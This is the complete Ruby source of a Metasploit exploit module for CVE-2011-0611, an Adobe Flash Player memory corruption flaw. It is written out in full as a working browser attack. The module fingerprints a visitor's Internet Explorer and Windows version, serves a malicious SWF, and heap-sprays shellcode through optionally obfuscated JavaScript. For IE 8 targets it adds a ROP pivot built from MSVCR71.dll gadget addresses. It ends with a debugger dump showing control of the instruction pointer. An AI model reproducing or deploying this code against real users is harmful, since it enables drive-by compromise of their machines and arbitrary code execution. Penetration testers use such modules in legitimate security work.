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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = NormalRanking
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  include Msf::Exploit::Remote::HttpServer::HTML
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  include Msf::Exploit::RopDb
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  def initialize(info={})
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    super(update_info(info,
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      'Name'           => "Adobe Flash Player 10.2.153.1 SWF Memory Corruption Vulnerability",
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      'Description'    => %q{
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          This module exploits a vulnerability in Adobe Flash Player that was discovered,
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        and has been exploited actively in the wild.  By embedding a specially crafted .swf
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        file, Adobe Flash crashes due to an invalid use of an object type, which allows
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        attackers to overwrite a pointer in memory, and results arbitrary code execution.
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        Please note for IE 8 targets, Java Runtime Environment must be available on the
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        victim machine in order to work properly.
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      },
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      'License'        => MSF_LICENSE,
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      'Author'         =>
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        [
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          'sinn3r',
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        ],
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      'References'     =>
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        [
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          [ 'CVE', '2011-0611' ],
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          [ 'OSVDB', '71686' ],
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          [ 'BID', '47314' ],
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          [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb11-07.html' ],
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          [ 'URL', 'http://blogs.technet.com/b/mmpc/archive/2011/04/12/analysis-of-the-cve-2011-0611-adobe-flash-player-vulnerability-exploitation.aspx' ],
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          [ 'URL', 'http://contagiodump.blogspot.com/2011/04/apr-8-cve-2011-0611-flash-player-zero.html' ],
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          [ 'URL', 'http://bugix-security.blogspot.com/2011/04/cve-2011-0611-adobe-flash-zero-day.html' ],
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          [ 'URL', 'http://web.archive.org/web/20110417154057/http://secunia.com:80/blog/210/' ],
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        ],
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      'Payload'        =>
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        {
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          'Space'    => 1024,
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          'BadChars' => "\x00",
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        },
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      'DefaultOptions' =>
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        {
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          'EXITFUNC'         => "process",
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          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          [ 'Automatic', {} ],
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          [
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            'IE 6 on Windows XP SP3',
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            {
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              'Rop'     => false,
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              'Pivot'   => nil,         #No ROP no pivot
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              'Offset1' => '0x01',      #For aligning the payload
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              'Offset2' => '0x02',      #For aligning the CALL
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              'Max1'    => '0x150',     #First spray
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              'Max2'    => '0x200'      #Second spray
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            }
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          ],
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          [
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            'IE 7 on Windows XP SP3',
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            {
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              'Rop'     => false,
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              'Pivot'   => nil,         #No ROP no pivot
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              'Offset1' => '0x01',      #For aligning the payload
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              'Offset2' => '0x02',      #For aligning the CALL
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              'Max1'    => '0x150',     #First spray
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              'Max2'    => '0x200'      #Second spray
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            }
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          ],
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          [
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            'IE 8 on Windows XP SP3',
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            {
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              'Rop'     => true,
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              'Pivot'   => 0x7c348b05,  #XCHG EAX,ESP; RETN (MSVCR71.dll)
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              'Offset1' => '0x5E2',     #Offset for rop+payload
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              'Offset2' => '0x02',      #Offset to 0x11111110
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              'Max1'    => '0x250',     #First spray
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              'Max2'    => '0x200'      #Second spray
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            }
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          ],
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          [
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            'IE 7 on Windows Vista',
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            {
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              'Rop'     => false,
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              'Pivot'   => nil,         #No ROP no pivot
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              'Offset1' => '0x01',      #For aligning the payload
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              'Offset2' => '0x02',      #For aligning the CALL
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              'Max1'    => '0x150',     #First spray
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              'Max2'    => '0x200'      #Second spray
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            }
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          ],
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          [
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            'IE 8 on Windows 7',
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            {
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              'Rop'     => true,
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              'Pivot'   => 0x7c348b05,  #XCHG EAX,ESP; RETN (MSVCR71.dll)
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              'Offset1' => '0x5F4',     #Offset for rop+payload
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              'Offset2' => '0x02',      #Offset to 0x11111110
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              'Max1'    => '0x101',     #First spray
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              'Max2'    => '0x300'      #Second spray
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            }
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          ]
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        ],
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      'Privileged'     => false,
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      'DisclosureDate' => '2011-04-11',
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      'DefaultTarget'  => 0))
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    register_options(
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      [
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        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', true])
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      ], self.class
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    )
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  end
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  def exploit
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    path = File.join(Msf::Config.data_directory, "exploits", "CVE-2011-0611.swf")
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    f = File.open(path, "rb")
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    @trigger = f.read(f.stat.size)
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    f.close
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    super
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  end
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  def get_target(request)
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    agent = request.headers['User-Agent']
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    if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/
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      #Windows XP SP3 + IE 6.0
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      return targets[1]
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    elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/
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      #Windows XP SP3 + IE 7.0
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      return targets[2]
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    elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/
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      #Windows XP SP3 + IE 8.0 + JRE6
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      return targets[3]
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    elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7\.0/
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      #Windows Vista + IE 7
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      return targets[4]
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    elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8\.0/
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      #Windows 7 + IE 8 + JRE6
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      return targets[5]
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    else
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      return nil
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    end
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  end
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  def on_request_uri(cli, request)
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    #Set default target
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    my_target = target
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    #If user chooses automatic target, we choose one based on user agent
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    if my_target.name =~ /Automatic/
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      my_target = get_target(request)
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      if my_target.nil?
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        print_error("Sending 404 for unknown user-agent")
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        send_not_found(cli)
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        return
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      end
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      vprint_status("Target selected: #{my_target.name}")
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    end
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    vprint_status("URL: #{request.uri}")
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    if request.uri =~ /\.swf$/
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      #Browser requests our trigger file, why not
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      print_status("Sending trigger SWF...")
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      send_response(cli, @trigger, {'Content-Type'=>'application/x-shockwave-flash'} )
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      return
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    end
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    #Targets that don't need ROP
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    pivot  = "\xb8\x0c\x0c\x0c\x0c"  #MOV EAX,0x0c0c0c0c
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    pivot << "\xff\xe0"              #JMP EAX
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    pivot << "\x41"                  #Pad
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    #Targets that need ROP
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    if my_target['Rop']
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      #Target Addr=0x11111110
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      pivot =
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      [
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        0x0c0c0c0c,          # Padding. Value for ESP after the XCHG pivot
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        my_target['Pivot'],  # ROP Pivot
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        0x7c346b52,          # EAX (POP ESP; RETN)
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      ].pack('V*')
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      #Target Addr=0x0c0c0c0c
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      p = generate_rop_payload('java', payload.encoded)
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    else
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      p = payload.encoded
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    end
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    arch = Rex::Arch.endian(my_target.arch)
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    shellcode = Rex::Text.to_unescape(p, arch)
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    pivot = Rex::Text.to_unescape(pivot, arch)
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    #Extract string based on target
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    if my_target.name == 'IE 8 on Windows 7'
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      js_extract_str = "var block = shellcode.substring(0, (0x7ff00-6)/2);"
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    elsif my_target.name == 'IE 8 on Windows XP SP3'
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      js_extract_str = "var block = shellcode.substring(2, (0x40000-0x21)/2);"
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    else
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      js_extract_str = "var block = shellcode.substring(0, (0x80000-6)/2);"
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    end
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    randnop = rand_text_alpha(rand(100) + 1)
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    js_nops = Rex::Text.to_unescape("\x0c"*4)
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    js = <<-JS
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    function heap_spray(heaplib, nops, code, offset, max) {
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      while (nops.length < 0x2000) nops += nops;
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      var offset = nops.substring(0, offset);
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      var shellcode = offset + code + nops.substring(0, 0x2000-code.length-offset.length);
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      while (shellcode.length < 0x40000) shellcode += shellcode;
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      #{js_extract_str}
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      heaplib.gc();
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      for (var i=1; i<max; i++) {
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        heaplib.alloc(block);
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      }
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    }
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    var heap_obj = new heapLib.ie(0x20000);
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    var #{randnop} = "#{js_nops}";
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    var nops = unescape(#{randnop});
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    var code = unescape("#{shellcode}");
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    heap_spray(heap_obj, nops, code, #{my_target['Offset1']}, #{my_target['Max1']});
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    var fake_pointers = unescape("#{pivot}");
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    heap_spray(heap_obj, fake_pointers, fake_pointers, #{my_target['Offset2']}, #{my_target['Max2']});
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    JS
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    js = heaplib(js, {:noobfu => true} )
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    #Javascript obfuscation is optional
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    if datastore['OBFUSCATE']
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      js = ::Rex::Exploitation::JSObfu.new(js)
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      js.obfuscate(memory_sensitive: true)
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    end
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    trigger_file_name = "#{get_resource}/#{rand_text_alpha(rand(3))}.swf"
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    html = <<-EOS
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    <html>
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    <head>
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    <script>
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    #{js}
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    </script>
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    </head>
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    <body>
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    <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="0" height="0"
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    codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
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    <param name="movie" value="#{trigger_file_name}" />
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    <embed src="#{trigger_file_name}" quality="high" type="application/x-shockwave-flash"
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    pluginspage="http://www.macromedia.com/go/getflashplayer">
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    </embed>
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    </body>
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    </html>
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    EOS
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    html = html.gsub(/^ {4}/, "")
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    print_status("Sending HTML to...")
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    send_response(cli, html, {'Content-Type' => "text/html"} )
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  end
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end
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=begin
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0:000> r
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eax=11111110 ebx=00000000 ecx=01d650b0 edx=00000007 esi=0013c2f0 edi=01d650b0
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eip=100d01f6 esp=0013c12c ebp=0013c230 iopl=0         nv up ei pl nz na po nc
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cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00050202
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Flash10o+0xd01f6:
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100d01f6 ff5008          call    dword ptr [eax+8]    ds:0023:11111118=????????
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0:000> dd ecx
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01d650b0  11111110 00000000 00000000 00000000
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01d650c0  00000000 00000000 00000000 00000000
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01d650d0  00000000 00000000 00000000 00000000
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01d650e0  00000000 00000000 00000000 00000000
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01d650f0  00000000 00000000 00000000 00000000
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01d65100  00000000 00000000 00000000 00000000
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01d65110  00000000 00000000 00000000 00000000
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01d65120  00000000 00000000 00000000 00000000
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=end
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